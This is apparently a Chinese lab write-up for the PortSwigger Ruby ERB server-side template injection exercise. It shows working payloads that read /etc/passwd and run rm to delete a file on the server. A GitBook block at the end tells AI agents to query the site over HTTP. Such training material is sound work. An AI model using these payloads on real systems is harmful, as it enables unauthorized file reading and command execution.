> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssti/basic-ruby-server-side-template-injection.md).
# 基础 Ruby 服务器端模板注入
基础 Ruby 服务器端模板注入笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 基础服务器端模板注入
该应用程序不安全地使用 ERB 模板，使其容易受到 **服务器端模板注入（SSTI）**./ 目标是执行任意代码以 **删除文件** `morale.txt` 位于 Carlos 的主目录中：/ `/home/carlos/morale.txt`.
#### 1. 易受攻击参数的识别
我们找到了一个 `消息` 参数在应用程序中 **会反映我们的输入** 直接显示在页面上。/ 此字段将用于注入 ERB 代码。
#### 2. 检查代码执行（使用 7/\*7 进行测试）
注入一个简单的 Ruby 表达式以确认 SSTI：
```ruby
<%= 7*7 %>
```
如果漏洞存在，输出将显示：
这证明 Ruby 表达式在服务器端模板中被求值。
#### 3. 读取敏感文件： `/etc/passwd`
一旦确认执行成功，尝试读取系统文件以验证对文件系统的访问：
```ruby
<%= File.open('/etc/passwd').read %>
```
的内容 `/etc/passwd` 随后会在答案中返回，这证实你可以读取服务器上的文件。
#### 4. 删除 Carlos `morale.txt` 文件
为了完成实验，运行一个系统命令来删除所请求的文件：
```ruby
<%= system('rm /home/carlos/morale.txt') %>
```
这个注入会启动 `rm` 服务器端命令并删除 `morale.txt` 该文件位于 `/home/carlos/` 目录中。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/ssti/basic-ruby-server-side-template-injection.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)